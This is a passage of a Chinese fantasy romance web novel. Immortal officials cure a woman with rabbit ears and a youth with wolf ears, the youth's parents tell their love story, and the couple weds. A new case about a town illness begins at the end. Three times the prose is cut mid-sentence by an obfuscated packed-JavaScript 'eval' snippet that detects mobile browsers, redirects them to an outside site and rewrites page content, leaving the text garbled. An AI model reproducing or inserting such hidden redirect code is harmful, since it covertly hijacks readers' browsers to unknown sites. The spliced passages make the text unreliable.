顾清杳心下惊讶,这位仙官的年纪看起来比她还要小,真是年轻有为。 “不要紧不要紧,仙官大人百忙之中能为我解忧已经是顾某的荣幸。” 顾清杳站起身,伸手邀两人入座。 锦棠心直口快,面露讶然:“你是女子?” 顾清杳虽是男子装束,却没有刻意压低声音,坦然点头:“不想引人注意。” 锦棠点点头表示了解,坐下后直奔主题:“你有什么难处?” 顾清杳脱下帽子,锦棠瞪大了眼睛,泷宋更是直接大叫了一声。 她的头顶,赫然有两只白色的兔耳朵! 顾清杳面带薄红,有些尴尬:“我是不是吓到你们了?” 锦棠镇静下来,拍了拍泷宋的头,对顾清杳笑道:“没事,他就这样一惊一乍的。” 泷宋不服气地侧过脸看她,锦棠抬了抬下巴,一记眼刀过去,泷宋只好撇了撇嘴,好吧,你说什么就是什么。 顾清杳说起事情的经过:“我问过爹娘,应该是祖上有兔妖血脉,我前两日吃了补品,偶然被激发出妖力,但看了几个大夫都说没办法。其中一个大夫说能修炼成人形的妖都能控制自己的形态,受到重伤才会显露原形,我这样的情况实属罕见,他们也爱莫能助。” 锦棠拿出随身携带的本子,用法术控笔在上面记录关键信息,虽然有点浪费法力,但胜在速度快,而且比她用笔写的稍微好看点。 封面上“红尘解忧录”五个字清隽秀挺,遒劲有力,是她请裴轼帮忙题的。 锦棠细细思索片刻,最终无奈道:“你的困扰我暂时没法解决,我要回去请教一下师傅。” 闭关那几日没有学到这块的知识啊!她要回去问问敦九该怎么办。 锦棠拿出顾清杳写的符纸,在上面盖上仙官府的印章,递给她,“带着它便可以进入仙官府了,你明日得空过来。” 顾小姐的情况看起来并不严重,敦九虽然好逸恶劳,但学识渊博,想来对他而言不是难事,一日时间足够了。 顾清杳十分善解人意,笑起来如出水芙蓉:“好,那就劳烦仙官大人了。有空也可以来绮罗阁找我玩玩,顺便挑几件漂亮衣裳。” 锦棠有点受宠若惊,这样有钱还貌美心善的姐姐上哪找啊! 11. 女儿红(二) 一刻钟前,在锦棠和泷宋刚赶到三生楼的时候,裴轼已经坐在了顾清杳隔壁的包房内。 他向对方点头致意,开门见山道:“公子,你遇到了什么麻烦?” 若是泷宋在这,看见对方戴着帽子,还用面纱把脸遮得严严实实,只微微露出眼睛,绝对会尖叫得更大声。 裴轼脸上并无半分异色,只是在心中感叹,这样奇怪打扮的客人三生楼也能放进来,包容度很高了。 “是这样,我有一位好友,不知道什么原因,他突然长出了狼耳和尖牙,怪吓人的。” 似是纱布缠得紧,束缚了嘴,这男子的声音听起来有些含糊不清。 裴轼直勾勾盯着他:“你说的这位好友就是你自己吧。” 宁风逸沉默了会儿,又开始沉默地脱帽子、解面纱。 还真是……一点面子都不给他留。 裴轼平静地看着他这一系列动作,甚至还端起杯子喝了一口茶。 等面容完全暴露在空气中,宁风逸猛地握上裴轼的手,“仙官大人,您可一定要救救我呀!我马上要成亲了,不能以这副样子去见新娘子啊!” 那对毛茸茸的灰色狼耳随他激动的话语一抖一抖,配上尖尖的獠牙看起来一点都不可怕,反而有几分可人。 裴轼视线下移,要是杯里的茶水没洒到他手上就更好了。 宁风逸这才意识到自己唐突了,连忙边道歉边用拆下来的纱布给裴轼擦拭。 宁风逸赔笑道:“这儿没有别的帕子,您多担待。” “……”这回轮到裴轼沉默了。 用灵力将右手洗涤了一遍后,裴轼慢条斯理地开口:“这是你体内的封印破除了,妖力外泄所导致。” 宁风逸瞬间炸毛:“什么?什么封印!?” “少安毋躁,放轻松。” 宁风逸心头的震惊和疑惑半分还没消解,就见裴轼微一抬手,掐了个法诀,一道强势的力量进入他的身体,让他有片刻怔神。 回过神时,他听到对面清逸绝尘的男子开口道:“我重新封印了你体内的妖力,但此法治标不治本,你得须自己学会控制才行。” 宁风逸呆呆地摸摸脑袋,发现那对狼耳消失了后,几乎要喜极而泣:“谢谢仙官大人!谢谢仙官大人!我还要怎么做?” 裴轼像是变戏法般凭空将一纸法诀轻拍在桌面上,“将它记熟,慢慢体悟便可。” 宁风逸迫不及待地拿过来,念了一遍,嘴里的尖牙变短了些,但还未完全恢复,他又急急地念了一遍,这次连反应都没有。 “仙官大人,这……我……您有没有什么见效快的法子,我实在是着急啊!”宁风逸有些语无伦次,恳求的眼神可怜巴巴地看着他。 裴轼从腰间的储物玉佩中取出一物,“我回去配一方丹药,你明天带着这个来仙官府找我。” 宁风逸接过来,那是他原先求助的符纸,不过现在上面多了仙官府的印。 他顿时喜笑颜开:“谢谢仙官大人!您的大恩大德,小人没齿难忘!” 裴轼依旧静雅端方:“不必客气,对了,你回家后记得询问长辈家中是否有妖族血脉。” 宁风逸回到家,他爹正夹了一筷子羊肉到他娘碗里,“你爱吃的,多吃点。” 宁风逸都懒得翻白眼,距离这么近,他娘又不是夹不到,两个人腻歪死了。不过他早就习惯了,他爹娘感情好,家中没有姬妾,他娘生产时吃了苦头,所以就要了他一个孩子。 “逸儿,你吃过饭了没有?”见他回来,虞璇素关切地开口。 正好肚子有点饿了,宁风逸坐到空座上,笑着亮出一口白牙:“还没呢,娘。” 他说完话才意识到尖牙还没完全恢复,紧张地合上嘴巴。 虞璇素目光慈爱,“菜还热着,快些吃吧。” 宁君穆没给儿子什么好脸色:“哼,你这臭小子,整天不着家,还一点正事不干。” “哎,这不是因为有您二位给我兜底嘛。”宁风逸讨好地笑笑。 宁君穆惊讶极了,换作平常,这小子非要反驳他几句不可,今儿这是怎么了,太阳打西边出来了? 但他嘴上依旧不饶儿子:“哼,花言巧语。” 虞璇素出来打圆场:“哎,你少说几句,逸儿尝尝这个。” “谢谢娘,”宁风逸抬碗接过红烧肉,边嚼边说:“好吃!” 虞璇素笑眯眯的:“你爹亲手做的,味道不错吧。” 宁风逸毫不吝啬夸奖:“哟,爹的厨艺又变好啦!” 宁君穆脸上浮现出几分得意之色:“那是自然,你爹我要是去做厨子,酒楼都抢着要呢。” 一家人边吃边聊,和乐融融,宁风逸找时机开口:“爹,娘,我想问你们件事。” 虞璇素闻言失笑:“问呗,怎么突然正经上了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242843|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宁君穆则是简单粗暴:“有话快说。” 宁风逸小心翼翼地开口:“那个,我们家祖上,有没有妖族血脉啊?” 两个人好像突然愣住了,空气中静默非常,落针可闻。 宁风逸试探道:“爹?娘?” 宁君穆转过脸:“听说城东新开的那家糕点铺子很好吃,我明儿买些回来。” 虞璇素低下头:“明儿我让张婶买只鸭子炖汤吃,好好补补。” 宁风逸简直是丈二和尚摸不著头脑,这都什么跟什么啊!他爹娘像是突然看不见他了一样,各说各的! 宁风逸有些着急:“爹,娘,你们听见我说的话了吗?咱家祖上到底有没有妖族血脉啊?” 虞璇素先败下阵来,脸色尴尬,支支吾吾道:“这……你怎么突然关心这个?” 饶是宁风逸再迟钝,也看出这事儿有十成十的不对劲,见两人态度诡异,他摆出一副声泪俱下的样子:“事关重大啊爹娘!” 宁风逸绘声绘色地把他发现自己长出狼耳和獠牙以及求助仙官府的事说了一遍。 他抱头哀叹道:“我和杳杳的婚期将近,节骨眼上却出了这么一遭!” 虞璇素和宁君穆听完后,如遭雷劈,异口同声道:“你怎么不早说?!” 宁风逸无比了解他爹娘的性子,“早告诉你们的话,不出半个时辰,街坊邻居就全知道了,我哪还有脸见人!” 宁君穆不服地反驳道:“我们哪是这样的人!” 宁风逸忿忿不平:“我小时候为了摘果子不小心从树上摔下来,把牙齿磕掉一个小口,你们就到处说!杳杳知道了还嘲笑我!” 宁君穆辩解道:“小孩子嘛,开个玩笑又没什么,现在你长大了,我们不会胡来的。” 虞璇素附和说:“哎,这,这不一样……” 宁风逸咬牙:“哪不一样?” “你爹他是狼妖。” 一石激起千层浪,宁风逸完全傻眼了,这两日焦虑烦躁的心情在刹那间完全消失,他大脑有一瞬间的空白,脸上的表情都凝滞了。 宁君穆震惊不已,虞璇素也懊悔自己嘴快,一下子把这个尘封多年的大秘密说了出来。 宁风逸感觉自己十几年来的认知都在这一刻崩塌了,声音大得把枝头上的雀儿都惊跑了:“什么——!!!” 虞璇素面色微红,“咳,是这样的……” 12. 女儿红(三) 二十年前。 清晨,虞璇素照例背上药篓和药锄上山采药,初春时分,潮湿的空气钻进她短了一小截的裤腿,带来丝丝凉意。 昨夜刚下了雨,小路泥泞不好走,虞璇素叹了一口气。 天不随人意,半年前,她爹失足掉下山崖摔死了,她娘气急攻心随她爹去了,她便成了孤女。 不过日子不算太坏,她从她爹那学会了辨识草药,她娘心肠热,在村子里有好人缘,村民们见她可怜常接济她,她就靠着卖草药的钱和田里种的菜过活。 思及此,虞璇素扯出一个笑,她不是没想过寻死,但好死不如赖活着,人要向前看,她还要向老天把欠她的都讨回来呢! 虞璇素动作娴熟,很快装了半框草药,继续向前走,她突然被吓出了一身冷汗——前面趴着一只动物,不知是狗是狼,是死是活。 两个想法在她脑子里打架,虞璇素感觉自己的脚被泥地粘住了,进不能也退不得。 到底要不要上前看一眼?若是受伤了,在这荒郊野外,多半是活不成的。 虞璇素咬着下唇,手指攥着药篓的背带,迟迟不能做决定。 终于,善良的勇气战胜了胆怯的惧意,虞璇素将眼一闭,反正她父母双亡了无牵挂,若是能拯救别的生灵,也算功德一件。 心跳得又猛又快,她深吸一口气,蹑手蹑脚走上前去,看清了那是一只可怜的小狼。 它静静地躺在地上,身体上密密麻麻的伤口深浅不一。浅的像是被树枝划破,有的已经结痂;深的则像是被其他猛兽撕扯,皮开肉绽,往外淌着血,看上去触目惊心。 虞璇素心尖一颤,忽而想到她和娘将爹找到时,他就是这样的惨状,因此对这小狼的怜惜更甚,她蹲下身,颤着手指去探它的鼻息。 不料那狼忽然睁开眼睛,像两簇淬了寒芒的幽火,泛着冷冽的琥珀色光晕,虞璇素惊呼一声,被吓得跌坐到地上,还没等她有下一步反应,狼合上眼,失去了意识。 她拍着胸脯,平复十四年来第一次如此激动的心情。 末了,虞璇素顾不上继续采药,将小狼放进药篓,背着它下山,心里捏了一把汗,希望家中的草药能治好它,一定要撑住啊! 急步走回家,虞璇素着手捣药煎汤,能快则快,时间不等人,这一点她深有体会。 她将捣碎的草药敷在小狼的伤口上,又小心地打开它的嘴,一小口一小口地喂药汤给它。 这一通下来劳累非常,虞璇素举起衣袖擦了擦额头上的汗,就近趴在桌上小憩。 她已经尽力了,能不能活下来,就看它自己的造化了。 …… 虞璇素是被一阵湿漉漉的触感吓醒的。 半睡半醒间,有谁的舌头在舔她。 她记得大黄喜欢这么做,但它已经寿终正寝了,那会是…… 虞璇素猛地睁开眼睛,猝不及防对上一双深邃锐利的幽瞳。 “啊!!!” 虞璇素嗓子破了音,近在咫尺的尖牙和脖颈上残留的口水都告诉她刚刚发生了多么危险的事。 她立刻从凳子上跳起来,做出防备的姿态,“你你你,不要恩将仇报啊啊啊!” 小狼好像愣住了,歪头疑惑地看着她。 虞璇素后知后觉,这应该是它对她表达亲近的方式,不然她现在哪能毫发无损地站在这里。 虞璇素尴尬地笑笑:“没事,我给你准备点吃的去。” 相处的过程中,虞璇素发现这只小狼颇通人性,交流起来很容易,她外出的时候留它在家也没有闹出过什么乱子。 日子一天天过去,可就在虞璇素几乎要以为小狼会永远陪着她的时候,它离开了。 不辞而别。 她找遍了家中的每一个角落,开始还怀着它在与她躲猫猫的期盼,可到后来,她连山上也寻遍了,直到太阳西沉,夜幕降临,凄冷的月光照不明她孤单的身影。 虞璇素仰着头,不想让眼泪掉下来,泪水模糊了她的视线,胸腔也被酸涩挤满。 她不是它的家人,甚至不是同族,她付出的感情只是她的一厢情愿,小狼对她的亲昵只不过是伪装,毕竟它那么聪明,只需要讨好一下她就可以免受打猎争夺之苦而有饭吃,何乐而不为呢?又或许它对她是有几分真心的,但份量实在太轻了,轻到连一个告别都没有。 是啊,她家只有她一个人,不,她早就没有家了。 虞璇素压抑不住委屈痛哭出声。 一夜难眠。 翌日,虞璇素的眼睛又红又肿,她负气地把家中所有关于小狼的事物都毁掉扔掉了。 可当她在中午习惯性地多准备了一份吃食时,她才明白有些东西是无论如何都抹除不掉的。 推开木门,耳旁是它欢快的叫唤声;坐上板凳,手下是它毛绒绒的耳朵;躺在床上,那双琉璃般的眼眸就在她脑海里亮了起来。 她突然有些后悔遇到小狼,但如果重来一次,她还是会救它,大不了治好伤就不管它了,你走你的阳关道我过我的独木桥嘛,这也好过有始无终。 她讨厌极了它的不辞而别,要是再让她遇见它,她一定好好惩罚它! ……还能遇见吗? 虞璇素双手抱膝蹲坐着,深深叹了一口气,小狼走了,但她的生活还得继续,哭也哭过了,尽量不去想那些伤心事,该打起精神赚钱了。 她机缘巧合之下向一位老郎中拜了师,承诺给他养老,跟着他行医,慢慢靠着积攒下来的钱开了一家小医馆。 她更加勤奋,购药、制药、问诊、配方,几乎一刻都不让自己歇下来,渐渐的,医馆有了些小名气,伙食改善,一年光景过去,她长高了许多。 及了笄,常有媒人来说亲,虞璇素对婚嫁之事兴致缺缺,敷衍了事。 却有一个意想不到的人。 来人身着月白襕衫,乌发挽起,上插一支竹节簪,眉目温和,气质清雅。 虞璇素险些认不出他来,“邓忆安?” 他看着她将晒干的草药整理进药柜,“素素,你变了好多。” 邓忆安眼里闪过惊艳,她出落得极为漂亮,远山眉,杏仁眼,琼鼻朱唇,纤袅动人。 虞璇素没停手上的动作,语气淡淡:“嗯,你也是。” 他们以前算是青梅竹马,幼时便有婚约,爹娘走后,她曾天真地以为邓家可以成为第二个家,她忐忑又隐含期待地登门拜访,却被告知主人不在,后来更是直接残忍地将她拒之门外,一点体面不留。 邓家五年前靠经商发了迹,爹娘尚在时邓夫人话里话外就隐隐看不上虞家,遑论一个连温饱都满足不了的孤女呢? 邓忆安盯着她踌躇半晌,眼神复杂,似有愧意。 他微拧着眉,“素素,我马上要成亲了。” 虞璇素依旧没什么表情:“嗯,祝你们琴瑟和鸣,白头偕老。” 她的祝福是真心的,邓忆安要娶的是县令千金,听说姿色平平,且性情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242844|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娇纵。 千金看上他的好皮相,他看上县令家的权势,是一笔好交易。 虞璇素心里什么都清楚,但现在邓忆安的一切都与她无关,就谈不上伤心难过。 邓忆安怔愣一瞬,随后苦笑道:“是邓家对不起你。” 虞璇素垂下眼眸,“没什么对不起的。” “……邓某告退。” 他最后看了虞璇素一眼,然后离去,没有回头。 说是不在意,可邓家对她的所作所为,让她完全不厌烦是假的,一连几天都没好心情。 但虞璇素还是认真平和地经营医馆,尽心尽责对待每一位病人。 这天,医馆来了个年轻的小伙子,相貌堂堂,却一直说自己有心病,虞璇素让他细说症状又说不出来。 她看他面色红润,眼睛有神,声音洪亮,身强体壮,怎么看都不像生病的样子,便在心底认定他是来找茬的。 虞璇素摆摆手,“我才疏学浅,看不了你的病,你还是另请高明吧。” 这人难缠得很:“虞大夫,我这心病,只有你能医。” 虞璇素正在考虑要不要叫几个人把他给“请”出去时,面前那张俊脸突然之间放大了好多倍,她直直撞入一双琥珀色的眼睛。 少年嘴角带笑:“我是昊昊啊,你不记得我了吗?” 虞璇素瞪大了眼睛,满脸不可置信:“你是昊昊?!这怎么可能?” 少年退回去,盯着她正色道:“你愿意听我讲个故事吗?” 虞璇素点了点头。 她现在脑子很乱,如果他真是昊昊,那…… “狼妖聚族而居,有位少年因头角峥嵘遭到年迈的狼王妒忌,被设计吃下魔魂草后狂躁不安,伤害族人,狼王以此为由将他赶出族群。” 他十指交叉,紧张地观察着虞璇素的反应,见她眼里没有害怕才敢继续将话说下去。 “他遍体鳞伤,化为原形陷入昏迷,本以为要死在山上,却遇到了一位善良的少女。她将他带回家,为他取名为昊昊,悉心照料,无微不至,少年感激不尽。” 听到这里,虞璇素心尖一颤,看着对面男子局促不安的样子,心口泛起细密密的疼。 “相处的过程中,少年发现他渐渐喜欢上了少女,可还没等他找到机会恢复人身向她坦白身份并表明心迹,狼王的一个心腹找到了他,并告知他当初的内情。 “原来是狼王突然意外死亡,族群中人心惶惶,不少眼睛对着那个位置虎视眈眈,迫切需要一个实力过硬的继位者来主持大局。 “少年很早就没了父母,这位狼王心腹对他多有照拂,当初狼王本想直接杀了那个少年,也是他极力劝阻才给了少年生还的可能。 “狼王心腹对少年有恩,在他的苦苦恳求下,少年跟随他回到族群,却没来得及对少女说一声再见。” 他眼里满是歉疚,虞璇素檀口微张,杏目动容,原来他的身世也如此凄惨,原来他当年的不辞而别是另有隐情,原来她一直错怪他了。 “少年花费一年时间处理好族群中的大小事宜,培养出另一位优秀的继任者后,他决定回来找少女。” 他说这话的时候,直勾勾地看着她,虞璇素感觉自己的心跳得好快好快。 少年耳朵染上薄红,眼神诚挚:“相思成疾,药石无医,虞大夫,你愿意帮我看看心病吗?” 虞璇素红着脸点了头。 此后流年,日月星河,山川湖海,他们共同看遍。 13. 女儿红(四) “昊昊?”宁风逸简直要被惊掉下巴,他威严的老爹小名竟然叫昊昊?! “咳咳。”宁君穆神色有点不自然,在孩子面前说这些,怪不好意思的。 虞璇素则满脸自豪:“昊,广大无边,气度非凡,多好的名字啊,你娘我取名的水平不错吧,你的名字也是我取的呢。” “哎呦喂,真是酸死我了。”宁风逸倒不是调侃,他是真没想到他爹娘不仅恩爱甜蜜,年轻时还有这么一段旷世奇恋啊! 宁君穆微微皱眉:“你出生后我便下了一道封印,将你体内的妖力锁住,防止不必要的麻烦,这封印怎会突然破了,我也不得而知。” 虞璇素歉声道:“我们也不是有意瞒着你,没想到出了这事。这样,你明儿去仙官府带些银子过去谢人家,他们虽是神仙,但在人间落脚,多些银子总方便些。” 宁风逸朗声应下:“好嘞。” 翌日上午,宁风逸带上满满一盒银子和银票出发了。 仙官府有禁制,他手持盖了仙官印的符纸靠近,那门竟就自己打开了。 宁风逸心中惊叹,刚迈过门槛,一道惊喜的声音响起:“顾小姐,你来了!” 宁风逸有点懵,面前忽然蹿出来一个姑娘,样貌还有点熟悉…… 两人异口同声:“是你!?” 宁风逸咬着牙,这不是昨天踩他脚的彪悍女子吗,他可还记得当时的痛呢! 锦棠柳眉倒竖,好嘛,真是冤家路窄,抢了她的簪子还敢到她的地盘来! 宁风逸往左走,“小爷我今天有正事要办,就不跟你计较了。” 锦棠气鼓鼓地伸出双臂拦住他,“是我要跟你计较才对吧!” “让路!” “我就不让!” 宁风逸皱起眉,这女子胡搅蛮缠,粗鲁泼辣,真是可惜了这一副好相貌。 他不愿和她在这里无意义地耗着,想从侧边挤进去,锦棠也毫不示弱,挺直了身子就不让步。 宁风逸心中着急,态度愈发强硬,顾不得那么多,隔了袖子想将锦棠的手臂推开,可锦棠怎会让他如愿,两人胶着在一起。 宁风逸拿她没办法,无奈道:“你到底要怎样才能让我进去?” 锦棠左手叉腰,右手摊开,“道歉,然后赔钱!” “好好好,遇到你真是倒了大霉。” 宁风逸刚应下,正准备从盒子里拿银子,却听到锦棠的惊呼:“你、你耳朵,怎么……” 宁风逸心里升起不好的预感,一摸脑门,是毛绒绒的触感,他手都抖了,怎么突然复发了! 他忙想仙官大人写给他的法诀,可他还没认真背诵,此刻焦急,更是半句也记不起来。 锦棠看到来人,脸上顿时有了笑意,挥挥手,“顾小姐!” “仙官大人,我来啦!” 这声音……顾小姐…… 可这还不是最糟的,宁风逸身子比脑子快,一转头,和顾清杳来了个相视无言。 真的是清杳啊啊啊!怎么会……完了完了! 宁风逸飞快回头,用手捂着脑袋,慌乱地从锦棠身边跑走了。 锦棠努努嘴:“哎,你还没给我道歉赔钱呢!” 顾清杳也全然怔住了,因为天热,她想着在仙官府内不用顾忌那么多,便脱了帽子,没想到竟被未来夫君看到了! 虽然只一眼,但太过熟悉,她完全确定那就是宁风逸,这会儿她也没去想他为什么会出现在仙官府,满脑子都是他看到了她的兔耳,然后被吓跑了这回事! 本想瞒着他将此事解决了就好,可现在……就算找仙官治好了,他会不会介意她有妖族血脉…… “顾小姐,你怎么了?我们先进去吧。”锦棠觉得顾清杳的反应有点奇怪,但没有多问。 “啊没事,走吧。”顾清杳牵强地笑了一下,看上去有点失魂落魄的。 进到府内,锦棠看到裴轼和宁风逸对坐着,心中不快,但因有裴轼在面前,斟酌了语气:“你来仙官府做什么?” “关你什……”宁风逸刚想回怼,猛地看见了一旁的顾清杳,瞬间没了底气:“与你无关。” 锦棠不服气道:“嘿,怎么和我没有关系?我可是堂堂仙官助手。” 她拉着顾清杳在空位坐下,顾清杳本想在旁边当空气,这会儿也只能硬着头皮默默把帽子戴上。 宁风逸不禁咋舌:“你?仙官助手?” 锦棠眯起眼睛:“哼哼,是啊,你得罪了我,还敢来仙官府。” 裴轼看看左边又看看对面:“你们认识?” 宁风逸面露迟疑,虽然刚刚服了仙官大人配的丹药,狼耳已经消失,但在清杳面前说,真是怪不好意思的。 锦棠是个直性子的,滚瓜流水般说出了那日在簪子铺的情形。 宁风逸一听不好:“诶,你怎么不说你最后狠狠踩了我一脚!” “这是重点吗?” “怎么不是?!” 宁风逸解释道:“清杳,我是看那簪子着实好看,想送与你,这才横刀夺爱的。” 这下轮到锦棠吃惊了:“你和顾小姐认识啊?” “我们马上要成亲了!” 宁风逸此话一出,四个人全都安静了。 宁风逸满脸通红,顾清杳恨不得找条地缝钻进去。 锦棠眨巴眨巴眼睛,好巧啊…… 还是裴轼率先打破了沉默:“如此看来,极有可能是锦棠当时生气,灵力波动巨大,让宁公子感受到了威胁,这才使体内的封印破除,妖力外泄。” 宁风逸马上反应过来:“对对对,刚才在门口也是,我说我怎么又长出狼耳了。” 话落,他担忧地看向顾清杳,“杳杳,我爹是狼妖,我也是今天才知道,希望你不要介意……” 顾清杳脱下帽子,一对雪白的兔耳朵冒出来,“我家祖上有兔妖血脉,我也是为解决此事来的仙官府。” 宁风逸顿时喜不自胜,当时在门外那匆匆一眼,他还以为看错了,没想到杳杳和他一样都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248578|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖族血脉啊! “狼和兔子是天敌,但杳杳你放心,我不会吃你的。” 顾清杳面色一红,他在说什么啊! 锦棠尴尬抿唇,这话真是容易让人想入非非啊…… 宁风逸后知后觉反应过来,耳朵红得要滴血,特别想扇自己几个巴掌,唯有裴轼满脸淡然,根本没听懂其中的深层含义。 锦棠站出来缓解气氛,打开药盒,“顾小姐,你把这个吃了,就能变成常人模样了。” 顾清杳服下丹药,立即见效。 她惊喜道:“谢谢仙官大人。” “份内之责,不必客气,”锦棠摇摇头,看向宁风逸:“嗯……既然是我引起你的妖力外泄,那我们就算扯平了,你也不用给我道歉赔钱了。” “不不不,多谢您二位帮了我和清杳。我家别的没有,就是银子特别多。” 宁风逸说着打开了随身携带的盒子,锦棠很不争气地张大了嘴巴,好多钱! “这……”裴轼想要拒绝,却接收到锦棠星星眼乞求的目光,只好答应:“好吧。” 锦棠欢呼起来:“裴轼你最好啦!” 顾清杳甜美一笑:“如若不嫌弃,绮罗阁永远欢迎仙官府。” 锦棠脸上浮现出两个可爱的小酒窝:“顾姐姐你真好!” 宁风逸撇撇嘴:“哎,就我一个坏人是吧!” 锦棠怼他:“你知道就好!” …… 五日后,宁顾两家结亲,锦棠裴轼应邀出席,敦九和泷宋也跟去了凑热闹。 府前两座石狮子颈上系了红绸,府内回廊高悬着红纱宫灯,筵席上摆满玉盘珍馐,丝竹管弦与宾客言笑交织成韵。 宁风逸身着大红直襟长袍,腰束金色祥云纹腰带,丰神俊朗,气宇轩昂。 “新娘子到!” 顾清杳由喜娘搀扶着跨过门槛,凤冠霞帔,明艳动人。 “一拜天地——” 祈望佳偶天成,地久天长。 “二拜高堂——” 感念养育之恩,情深似海。 “夫妻对拜——” 惟愿相濡以沫,白头偕老。 “送入洞房——” 红烛摇曳,铜炉生香,宁风逸和顾清杳并肩坐在床边,侍女递上系着红绸的匏瓜,里面盛着琥珀色的美酒,是女儿红。 他们缓缓交臂,酒盏碰撞发出清越声响。 入口甘甜,而后微酸,醇厚的酒液滑入喉中,带来一点辣意,齿间留香,余味悠长。 宁风逸手持玉如意,轻轻挑起盖头,顾清杳面若桃花,羞涩与他对视。 他勾着嘴角,眼眸亮如星辰:“杳杳,小时候我说要让你做我的新娘,今天我终于美梦成真了。” 宁风逸取来一把小巧的匕首,轻柔地割下顾清杳的一缕青丝,又将自己的发丝割下一缕,用红绳系在一起,放到锦盒里。 “结发为夫妻,恩爱两不疑。” 新人相视一笑,红绡帐暖,共枕鸳鸯。 14. 黄果酒(一) “哎呀,仙官大人,你们总算来了,这些天好多人得了怪病,我是忧心得觉也睡不好啊!” 锦棠看向神色激动的刘茂,他眼底果然一片青黑。 刘茂是青石镇镇长,也是他写符纸向仙官府求助——镇上有人得了怪病,性情大变,行为怪异,请了许多大夫都看不好,不仅如此,得病的人还越来越多,闹得人心惶惶。 敦九冷静地安抚他:“你不要急,先带我们去看看病人吧。” “唉,好好,”刘茂愁容满面,“犬子也得了怪病,仙官大人请随我来吧。” 走近东厢房,刘茂停下脚步,面色奇怪地踌躇道:“待会小儿若有冒犯,还请大人们多担待。” 敦九挥挥手,“无碍。” 刘茂叹了口气,走上前推开房门,锦棠刚进到屋里,就被眼前的景象震惊到了。 一个年轻的男子仰面躺在床上,而他的四肢都被绳子绑住了! 她倒吸一口凉气,要不是刘茂说了房间里是他儿子,她还要以为有人被绑架了呢! 泷宋哇地一声喊出来,裴轼皱起眉,敦九犹疑地看向刘茂:“这……” 还不等刘茂回答,刘家骏听到动静,睁开眼,懒洋洋的:“爹,你怎么来了?他们是?” “不得对仙官大人们……” 刘茂“无礼”两个字还没说完,刘家骏眼睛一亮,抬起头,扭动着身子想挣脱束缚。 他舔了舔嘴唇,眼中兴奋:“噢!他们是你给我找来的小倌吧!爹你对我真好!诶,怎么还有个姑娘?” 刘茂面色黑成锅底,怒骂道:“荒唐!” 刘家骏像是没听到一般,自顾自点评着:“这个太胖了,长得也不够俊美。那个长得倒是清秀可爱,不过年龄太小了,本少爷不喜欢。至于中间这个嘛,啧啧啧,尤物啊……” “唔——!!”刘家骏的声音突然变了声调,想痛呼出声却不能。 原是裴轼伸手用灵力将这个浪荡子的嘴封住了,他冷眼冷声:“污言秽语。” 锦棠早在听到“小倌”后就迅速捂住了泷宋的耳朵,不管他怎么推拒都没有松手,事实证明她的做法是正确的。 虽然刘家骏没提到她,但锦棠还是被恶心到了,要不是有任务在身,她恨不得马上离开这里! 看到这一幕,刘茂急得额头冒汗,举起双手求情:“仙官大人,不可呀!小儿是被那怪病弄得口无遮拦,您大人有大量,饶过他吧!” 裴轼冷哼一声,不情不愿收回禁制。 刘家骏嘴上重获自由,全然忘了刚才的疼,嬉皮笑脸地开口:“还是个泼辣的冷面美人呢,嘿嘿,小爷我就喜欢你这种带劲……” 刘家骏疼得五官扭曲,叫声差点把屋子顶破:“啊!!!” 这回是锦棠用灵力捏了根长长的针,又准又狠地刺进他的眉心。 刘家骏害怕地往后缩:“不敢了不敢了!” 刘茂心尖也被刺了一般,猛地一激灵,想说些什么,但看了看几位神仙的脸色,只好讪讪闭口。 敦九也觉得此人行事无端,荒诞不经,否则早就出声制止两个小辈了。 但他好歹年纪和阅历摆在这里,不会因为凡人的一句话生气,捋了捋胡子,平心静气道:“他这是失了幽精魂和雀阴魄。” “大人可否再说得明白些?”刘茂顿时又急又喜,之前找了好多大夫都看不出什么,仙官大人竟然这么快就发现了病症所在! “人有三魂七魄,幽精,三魂之一,也称人魂,司掌人之□□、情感与生育之事;雀阴,七魄之一,司掌人之水液代谢及生殖之能。” 刘茂激动地连连点头:“孽子原爱慕女子,自从得了这怪病,便患了龙阳之癖,且喜怒无常,有时还会自己对自己说痴话。” 刘家骏突然被他爹的话刺激到了,把床撞得噔噔作响,奈何绳子实在太牢固,摆脱不了,他仅存的理智慢慢溃散,又尖叫起来:“啊!我的命根子!啊啊啊啊啊!” 气急攻心,竟然晕了过去! 敦九赶紧用灵力试探,“他的身体没有大碍。” 刘茂点点头,脸色难看得不行,却也没有过多震惊,向敦九他们解释起来:“发病五日后,他竟然挥刀自宫了……我怕他自尽,所以才将他绑起来……” 